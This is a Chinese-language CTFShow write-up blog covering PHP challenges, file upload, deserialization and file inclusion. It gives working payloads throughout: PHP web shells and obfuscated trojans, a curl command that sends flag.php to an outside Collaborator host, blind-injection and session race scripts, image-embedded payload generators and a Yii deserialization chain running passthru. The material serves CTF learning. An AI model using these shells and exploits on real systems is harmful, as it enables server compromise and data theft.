    if ($_GET['HTTP_FLAG'] == 'flag') { //需要满足这个条件就可以输出flag
        highlight_file($flag);			//因为没有ctfshow{xxxxx}这个文件,所以会产生报错
        								//进而我们可以看到flag内容
    } else {
        highlight_file(__FILE__);
    }
构造POST
HTTP_FLAG=flag
再添加任意get参数即可

99

in_array函数如果不设置strict参数为真则进行若比较,1.php==1
payload:n=1.php
POST
content=一句话木马

100

在PHP中,=赋值运算符优先级高于and,所以语句执行是v0=is_numeric(v1),传入v1为数字即可

?v1=1&v2=var_dump($ctfshow)&v3=;

101

反射类

顾名思义,就是一个类的反射(废话么不是)
下面是例子
class fuc { //定义一个类
 static
 function ec() {
  echo '我是一个类';
 }
}
$class=new ReflectionClass('fuc'); //建立 fuc这个类的反射类
$fuc=$class->newInstance(); //相当于实例化 fuc 类
$fuc->ec(); //执行 fuc 里的方法ec
$ec=$class->getmethod('ec'); //获取fuc 类中的ec方法
$fuc=$class->newInstance(); //实例化
$ec->invoke($fuc);   //执行ec 方法

Payload

?v1=1&v2=echo new Reflectionclass&v3=;

102

先转base64再转16进制完成绕过

103

同上

104

没验证直接传俩一样的呗

105

foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
多种操作方法
通过die($error)输出
payload:a=flag 
POST: error=a
进行的操作为
$a=$flag;
$error=$a;

此时$a=flag{test123};$error=flag{test123};从而输出error也就是输出flag
通过die($suces)
payload:suces=flag&flag=
进行的操作为
$suces=$flag;

106

构造数组或弱相等绕过

aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m

107

parse_str函数,将字符串解析成多个变量
$a="x=1&y=2";
parse_str($a,$b);
此时$b['x']1$b['y']2

paylaod:?v3=1
POST
v1=flag=c4ca4238a0b923820dcc509a6f75849b

108

正则表达式%00截断,正则表达式只会匹配%00之前的内容

strrev()//反转字符串
intval()//取整数
payload:?c=a%00778

109

eval("echo new $v1($v2());");
//构造使得v1名称的类存在后面任意构造即可

110

FilesystemIterator类的使用
$a=new FilesystemIterator(getcwd());
while($a->valid()){
  echo $a->getFilename()."\n";
  $a->next();
}
迭代输出当前目录下的内容
getcwd()//取得当前工作目录

111

v1要在正则中等于ctfshow,执行的语句就是

$ctfshow=&$(v2的值);
var_dump($ctfshow);
相当于执行了
var_dump($(v2的值));
令v2=GLOBALS超全局变量即可将所有变量打印
payload:?v1=ctfshow&v2=GLOBALS

112

URL二次编码,题目中把base64滤过了,对b进行二次URL编码即可,传入php时进行一次解码,调用php伪协议时再有一次

113

压缩流读取

payload:?file=compress.zlib:///var/www/html/flag.php

114

php://filter

115

在数字前加上空格,也会被is_numeric函数认为是数字

trim函数会过滤空格以及\n\r\t\v\0,但不会过滤\f

最终payload:urlencode(“\f”.36)

123

PHP变量名应该只有数字字母下划线,同时GET或POST方式传进去的变量名,会自动将空格,+,.,[转换为_,但是当有特殊字符[时,后面的内容中就不会替换了
payload:
POST:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag

125

CTF_SHOW=1&CTF[SHOW.COM=1&fun=var_export(get_defined_vars())
CTF_SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_GET[1])
?1=flag.php

126

1、cli模式(命令行)下
第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数
2、web网页模式下
在web页模式下必须在php.ini开启register_argc_argv配置项
设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果
这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]//这里的这个参数就是GET请求中?后的内容
$argv,$argc在web模式下不适用
payload:?$fl0g=flag_give_me;
CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])

127

前面的自动转换咯

128

小知识点: _()是一个函数
_()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll
get_defined_vars()函数
get_defined_vars — 返回由所有已定义变量所组成的数组 这样可以获得 $flag
payload: ?f1=_&f2=get_defined_vars

129

目录穿越

payload:?f=/ctfshow/../../../../var/www/html/flag.php 

130

正则/.+?ctfshow/is

stripos($f, ‘ctfshow’) === FALSE

stripos返回位置从0开始,未查找到才返回false,在严格相等中不相等

直接绕

f=ctfshow

131

正则溢出

传个超过一百万长度的字符就好啦

f='kkkk'*250000+'36Dctfshow'
#python真好用

132

robots.txt进admin

对于“与”(&&) 运算: x && y 当x为false时,直接跳过,不执行y;

对于“或”(||) 运算 : x||y 当x为true时,直接跳过,不执行y。

在判断这个的时候if($code === mt_rand(1,0x36D) && $password === $flag || $username ===”admin”) 第一个$code === mt_rand(1,0x36D)为false,之后就执行|| $username ===”admin”

后面有或,所以满足username===’admin’即可

payload:/admin/?code=admin&password=&username=admin

133

骚操作

我们传递?F=`$F`;+sleep 3好像网站确实sleep了一会说明的确执行了命令
**那为什么会这样?**
因为是我们传递的`$F`;+sleep 3。先进行substr()函数截断然后去执行eval()函数
这个函数的作用是执行php代码,``是shell_exec()函数的缩写,然后就去命令执行。
而$F就是我们输入的`$F`;+sleep 3 使用最后执行的代码应该是
`$F`;
$F变量内容就是我们最终执行的内容

使用一把burp自带的功能,Burp Collaborator,相较于DNSLog的好处就是可以带出POST信息,也可以携带Cookie

还有curl命令的使用

payload:?F=`$F`;+curl -X POST -F xx=@flag.php  http://whhi73p89wxl0oghis6zcslnue04ot.burpcollaborator.net

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-04-09 15.18.07.png)

134

php变量覆盖 利用点是 extract($_POST); 进行解析$_POST数组。 先将GET方法请求的解析成变量,然后在利用extract() 函数从数组中将变量导入到当前的符号表。

payload: ?_POST[key1]=36d&_POST[key2]=36d

135

同之前或者直接mv改名

payload:?F=`$F`;+mv flag.php flag.txt;

136

ban了一堆命令,需要回显,使用Linux tee命令

Tee是Linux命令,用于显示程序的输出并将其复制到一个文件中。

命令|tee 输出文件
payload:?c=tac /f149_15_h3r3|tee 1
查看/1文件即可

137

call_user_func()来调用一个类里面的方法时,使用::如class::function

payload:
POST
ctfshow=ctfshow::getFlag

138

调用还能传数组

payload:
POST
ctfshow[]=ctfshow&ctfshow[]=getFlag

139

自动跳转我谢谢你啊

我是真妹想到这玩意还能盲注

import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"#获取小写字母与数字
result=""
key=0
for j in range(1,45):
	print(j)
	if key==1:
		break
	for n in str:
		payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)
		#print(payload)
		url="http://13f3a3cd-22e6-4922-a7eb-431f62263a4f.challenge.ctf.show/?c="+payload
		try:
			requests.get(url,timeout=(2.5,2.5))	#time()第一个参数是响应时间,第二个是读取时间
		except:
		    result=result+n
		    print(result)
		    break

140

intval把字符串转成0,0==’字符串’结果为真

找俩函数返回值为字符串就行

payload:
POST
f1=md5&f2=phpinfo

141

绕过无字母数字方法

使用取反法

payload:
?v1=1&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5);-&v2=1

142

各种进制取零就行

143

过滤了取反字符,

CTFShow文件上传

文件上传

151

前端校验,直接绕过

152

Content/Type校验,直接绕过

153

文件后缀名校验,尝试使用php5,phtml等文件失败,康康wp学习新知识,查看响应 头发现中间件是nginx

nginx中和apache的.htacess有相同作用的文件是.user.ini,进一步拓展,php中的默认配置文件实为php.ini,而php.ini有四种配置模式

PHP_INI_USER			可以在user.ini中设定
PHP_INI_PERDIR		可以在php.ini,.htacess,httpd.conf中设定
PHP_INI_SYSTEM		可以在php.ini,httpd.conf中设定
PHP_INI_ALL				随意设定

并且除了php.ini文件之外,php还会从当前目录到web根目录下逐级搜索ini文件,并且在世纪操作中除了PHP_INI_SYSTEM中的内容都可以通过.user.ini进行设定

那么user.ini中实际有用的配置项有两个:
auto_append_file 	//在php4.2.3及以前是PHP_INI_ALL里面的,后面变成了PHP_INI_PERDID
auto_prepend_file
这两项的功能是制定一个文件包含在要执行的文件之后/之前,类似帮助原始文件添加一个require(某文件)

所以最终我们需要的就是将木马上传后再上传.user.ini设置包含木马即可

//.user.ini
auto_prepend_file = shell.png
//shell.png
@eval($_POST['kkk']);

154

同上题,过滤了php,大小写绕过

155

严格过滤php,所以大小写过不去了,短标签绕过

当php参数:short_open_tag = On时,php可以解析短标签内容
php中常见的四种标签的写法:
<?php echo "CTF"; ?>
<? echo "CTF"; ?>		//short_open_tag = On
<% echo "CTF"; %>		//这种写法在php配置中默认关闭了的,所以不能输出一行3.如果要正常输出,需要配置php.ini文件。在配置文件中找到asp_tags=off ,将off改为on。改动配置文件后需要重启apache。 
<script language="php"> echo "CTF"; </script>

还有一种神奇写法以后会用到
<?=(表达式)?>  等价于 <?php echo (表达式)?> //无限制  

156

过滤了[ ],可用{ }代替

157

过滤了分号和花括号,用上面的神奇写法直接执行<?=(system('tac ../flag.???'))?>

158

同上

159

system貌似没了,用<?=nl ``../fl*``?>

160

反引号都没了,只能尝试包含访问日志了

//shell.png
<?include"/var/lo"."g/nginx/access.lo"."g"?>
//空格都没给留就离谱
//User-Agent
<?php eval($_POST[1]);?>

161

增加了对文件头的检测,其余同上

162

.和flag被过滤,session文件的竞争包含,隔壁文件包含有原因

//.user.ini
auto_prepend_file=/tmp/sess_kkk
//1
<?=include"/tmp/sess_kkk"?>
//POC.html
<!DOCTYPE html>
<html>
<body>
<form action="链接" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

脚本

import requests
import threading

session = requests.session()
sess = 'j1an'
url1 = "http://3318481d-34f5-4d86-baa0-5bf6af29a2e9.challenge.ctf.show/"
url2 = "http://3318481d-34f5-4d86-baa0-5bf6af29a2e9.challenge.ctf.show/upload"
data1 = {
    'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'
}
file = {
    'file': 'j1an'
}
cookies = {
    'PHPSESSID': sess
}


def write():
    while True:
        r = session.post(url1, data=data1, files=file, cookies=cookies)


def read():
    while True:
        r = session.get(url2)
        print(r.text)
        if 'flag' in r.text:
            print(r.text)


threads = [threading.Thread(target=write),
           threading.Thread(target=read)]
for t in threads:
    t.start()

163

同上

164

png图片二次渲染

在php中包含需要渲染的代码时

直接用大佬脚本生成一张图片咯

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'kkk.png');  //要修改的图片的路径
/*
木马内容
<?$_GET[0]($_POST[1]);?>
*/
?>

165

jpg图片二次渲染

<?php
    $miniPayload = "<?php system('tac f*');?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>
用法  php exp.php a.png

166

x-zip-compressed

167

提示中为httpd,肯定与apache有关,尝试解析漏洞,上传shell.php.xxx发现执行失败,尝试上传.htaccess

<FilesMatch "png">
SetHandler application/x-httpd-php
</FilesMatch>
或者
AddType application/x-httpd-php .png   //将.png后缀的文件解析 成php

OK

168

构造免杀木马

<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>

CTFShow反序列化

反序列化

序列化的概念:把一个对象转为字符串

序列化的好处:

1、有利于数据存储

2、方便数据传递

序列化后字符串的格式

Public属性序列化后格式:成员名
Private属性序列化后格式:%00类名%00成员名
Protect属性序列化后格式:%00*%00成员名

O:对象类名长度:”对象类名”:对象属性个数{属性名类型:属性名长度:”属性名字”;属性类型:属性长度:”属性内容”}

PHP序列化与反序列化方法:
1、__construct 当一个对象被创建时调用
2、__destruct 当一个对象被销毁时调用
3、__toString 当一个对象被当作一个字符串时使用
4、__sleep 在对象被序列化之前运行
5、__wakeup 在对象被反序列化之后调用
__construct
// 触发条件,构造函数,当构造一个对象时调用。
// 对象创建时销毁
__destruct
// 触发条件,析构函数,对象销毁时被调用。
// 序列化时会销毁一次,对象销毁时执行,序列化输出前运行,但不影响序列化内容
__unserialize
// 触发条件,7.4版本以上,反序列化时出发,且可以绕过__wakeup
__sleep
// 在对象被序列化之前运行
__wakeup
// 在对象被反序列化之后被调用
__invoke
// 当对象被调用时执行
// 函数形式调用对象时,触发的方法

254

payload:?username=xxxxx&password=xxxxx

按照题中全等于直接构造即可

255-257

构造就行

258

过滤了O:数字的形式,在冒号后加+即可,URLdecode会自动解析成连接的

259

什么玩意跳过了

//flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);

if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

//index.php
<?php
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

灰溜溜的回来看WP

如果调用一个没有定义的方法,那么就会使用类本身的call方法。由于给了个ssrf的代码,那么河里推断这是一个ssrf的原生类。
//PHP中原生类
class SoapClient {
    /* Methods */
    public __construct(?string $wsdl, array $options = [])
    public __call(string $name, array $args): mixed
    public __doRequest(
        string $request,
        string $location,
        string $action,
        int $version,
        bool $oneWay = false
    ): ?string
    public __getCookies(): array
    public __getFunctions(): ?array
    public __getLastRequest(): ?string
    public __getLastRequestHeaders(): ?string
    public __getLastResponse(): ?string
    public __getLastResponseHeaders(): ?string
    public __getTypes(): ?array
    public __setCookie(string $name, ?string $value = null): void
    public __setLocation(?string $location = null): ?string
    public __setSoapHeaders(SoapHeader|array|null $headers = null): bool
    public __soapCall(
        string $name,
        array $args,
        ?array $options = null,
        SoapHeader|array|null $inputHeaders = null,
        array &$outputHeaders = null
    ): mixed
}
//可以得知构造SoapClient的类对象的时候,需要有两个参数,字符串$wsdl和数组$options
在构造SoapClient类时,传入数组参数为:
array('uri'=>'http://链接','location'=>'http://链接/文件','user_agent'=>'UA头')
该类的__call方法可构造请求使其对指定URL发起POST请求
所以构造该类代码如下


<?php
   $ua="ctfshow\r\nx-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
   /*相当于构造出以下请求
   User-Agent: ctfshow
   x-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1
   Content-Type:application/x-www-form-urlencoded
   Content-Length:13
   
   token=ctfshow
   */
   //由于Content-Length已经确定,所以后面该类自行构造的请求头失效
   $s=new SoapClient(null,array('uri'=>'http://127.0.0.1/','location'=>'http://127.0.0.1/flag.php','user_agent'=>$ua));
   echo serialize($s);
?>

260

就输入那串字符就行

261

知识点:在7.4以上版本反序列化会绕过__wakeup()函数

$this->code==0x36d是弱类型比较,0x36d又有没有打引号,所以代表数字877,构造时使用877开头的文件即可,最终构造内容如下

<?php
   class ctfshowvip{
      public $username="877.php";
      public $password="<?php eval(\$_POST['kkk']);?>";
  //这里记得转译,不然会让你传入kkk参数的
      public $code;
   }
   $s=new ctfshowvip();
   echo serialize($s);
?>
//无语Windows Defence把我文件删了😅

262

简单轻松解法:

在message.php中直接构造token=admin的类

困难学习解法:

263

菜狗直接wp

首先看

//index.php
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
//明显limti写错了,所以这个代码永远执行的是$_SESSION['limit']=base64_decode($_COOKIE['limit']);
//所以我们就可以控制session中的内容

知识点:session在存储时有两种形式,一种是php,一种是php_serialize

<?php
	class user{
      public $name="jlan";
      public $pass="123456";
  }
	$s=new user();
	//php存储:user|O:4:"user":2:{s:4:"name";s:4:"jlan";s:4:"pass";s:6:"123456";}
	//php_serialize存储:a:1:{s:4:"user";O:4:"user":2:{s:4:"name";s:4:"jlan";s:4:"pass";s:6:"123456";}}
?>

发现诡异的点了吗,在php存储中,|是用来分离变量名和序列化后的内容的,所以只要我们构造出序列化好的内容并且在前面加|就可以让程序进行自动反序列化

继续查看inc/inc.php

//inc/inc.php
class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

其中包含file_put_contents函数可进行一句话木马的写入

最终构造如下

class User{
    public $username="1.php";
    public $password="<?php eval(\$_POST['kkk']);phpinfo();?>";
    public $status='1';
}
$s=new User();
echo base64_encode('|'.serialize($s));

首先修改cookie访问主页,然后访问/check.php使得木马文件被写入,最后访问/log-1.php即可

264

265

地址传参

<?php
class ctfshowAdmin{
   public $token;
   public $password;
   public function __construct(){
       $this->token='a';
       $this->password = &$this->token;
	}
}
$a=new ctfshowAdmin();
echo serialize($a);
?>

266

匹配抛出异常后__destrurt不触发,所以使用大小写绕过即可

267

yii框架的反序列化漏洞,利用的类

yii\db\BatchQueryResult
    public function __destruct()
    {
        // make sure cursor is closed
        $this->reset();
    }
    public function reset()
    {
        if ($this->_dataReader !== null) {
            $this->_dataReader->close();
        }
        $this->_dataReader = null;
        $this->_batch = null;
        $this->_value = null;
        $this->_key = null;
    }

这里的$this->_dataReader内容可控,可以调用不存在close方法并且存在__call方法的类,全局搜索__call方法后,发现在
yii\vendor\fzaninotto\faker\src\Faker\Generator.php
    public function __call($method, $attributes)
    {
        return $this->format($method, $attributes);
    }
跟进format
    public function format($formatter, $arguments = array())
    {
        return call_user_func_array($this->getFormatter($formatter), $arguments);
    }
跟进getFormatter
    public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);
                return $this->formatters[$formatter];//这里会返回传入的$formatter的值
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }
发现format方法中的call_user_func_array的第一个参数可控,想要利用进而查找调用了call_user_func函数的无参方法。发现了IndexAction.php中的run方法
yii\rest\IndexAction.php
    public function run()
    {
        if ($this->checkAccess) {
            call_user_func($this->checkAccess, $this->id);
        }

        return $this->prepareDataProvider();
    }
在run方法中checkAccess和id都可控,利用链构造成功

利用链

yii\db\BatchQueryResult::__destruct() -> Faker\Generator::__call() -> yii\rest\IndexAction::run()

poc
<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'passthru';
            $this->id = 'tac /flag';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

CTFshow文件包含

文件包含

常见的文件包含漏洞函数:include(),require()

本地包含

利用方式:

1、php://input:
?file=php://input
请求体内为PHP代码:<?php phpinfo(); ?>

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。

遇到file_get_contents()要想到用php://input绕过。

阅读全文

CTFshow命令执行

命令执行

危险函数:

------------------------------------------------执行(系统)函数
	 eval
	 exec - 执行一个外部程序
	 shell_exec
	 system
	 passthru
	 proc_open
	 pcntl_exec — 在当前进程空间执行指定程序
	 pcntl_fork  在当前进程当前位置产生分支(子进程)。
	 dl — 运行时载入一个 PHP 扩展
	 unserialize - 反序列化一个类函数nashell
	 ------------------------------------------------显示源码   
	 phpinfo
	 readfile
	 readline
	 show_source
	 heighlight
	 heighlight_string
	 curl
	 php
   curl -f filename=@/flag [要传到的ip地址和端口]	
	 解释:在linux里面单引号里面的的命令会直接先执行
	 以上的curl -f命令会把@后面文件名对应的文件传输到指定的ip端口地址
	 所以会直接执行curl命令将得到的flag文件传输到指定id端口,不需要管ping	  命令了只要监听此端口拿到文件即可
	 file 
	 ------------------------------------------------回调函数
	 array_walk
	 array_walk_recursive
	 array_map
	 call_user_func_array
	 call_user_func
	 ------------------------------------------------数组使用回调函数过滤
	 array_filter
	 filter_var
	 filter_var_array
	 ------------------------------------------------写入文件
	 fopen
	 fwrite
	 file_put_contents - 将数据写入文件中
	 file-get-contents - 获取参数的文件资源
	 move_uploaded_file - 将上传的文件移动到新位置
	 ------------------------------------------------命令字符串转义
	 escapeshellcmd - 对特殊字符转义
	 escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数
	 ------------------------------------------------其他
	 proc_terminate — 杀除由 proc_open 打开的进程
	 touch - 设定文件的访问和修改时间

可用于执行php函数的函数:

eval()、assert()、preg_replace("/test/e",$_POST["cmd"],"jutst test")
//正则规则中含有/e修饰符就存在代码执行漏洞
create_function()

可用于执行系统命令的函数:

exec()//返回命令执行结果,加echo
passthru()//执行后直接显示结果
system()//执行后直接显示结果,返回值:成功则返回命令输出的最后一行, 失败则返回 false
shell_exec()//返回命令执行结果,加echo
`命令`//返回命令执行结果,加echo
popen()
proc_open()
pcntl_exec()
阅读全文

Python于web层应用

Python于web层应用

HTTP协议基础

协议分类

HTTP 1.0 80端口 单次一个链接

HTTP 1.1 80端口 多次可一个链接

HTTP协议不够安全,进而发展出了HTTPS协议

HTTPS 443端口 加密后数据传输

阅读全文

Python基础

Python基础

数据类型:

string(字符串)

num(数字)

bool(布尔)

list(列表)使用[ ]定义

tuple(元组)使用{ }定义(无序)

dictionary(字典)使用{ }定义,内容为:下标名:元素内容

阅读全文

RCE远程代码执行

RCE远程代码执行

一、RCE能做到什么:

1、执行系统命令 2、记录用户输入 3、控制键盘鼠标 4、任意上传下载 5、截屏

阅读全文

SQL注入笔记

SQL注入

1、通过order by爆出字段数

2、union操作,联合查询,查询的是在同一个数据表的数据,通过union select 1,2,3…,n来判断回显位置

3、information_schema数据库,为mysql自带数据库,提供数据库源数据访问,最常用的是

TABLES表:提供了关于数据库中表的信息

COLUMNS表:提供了表中列的信息

阅读全文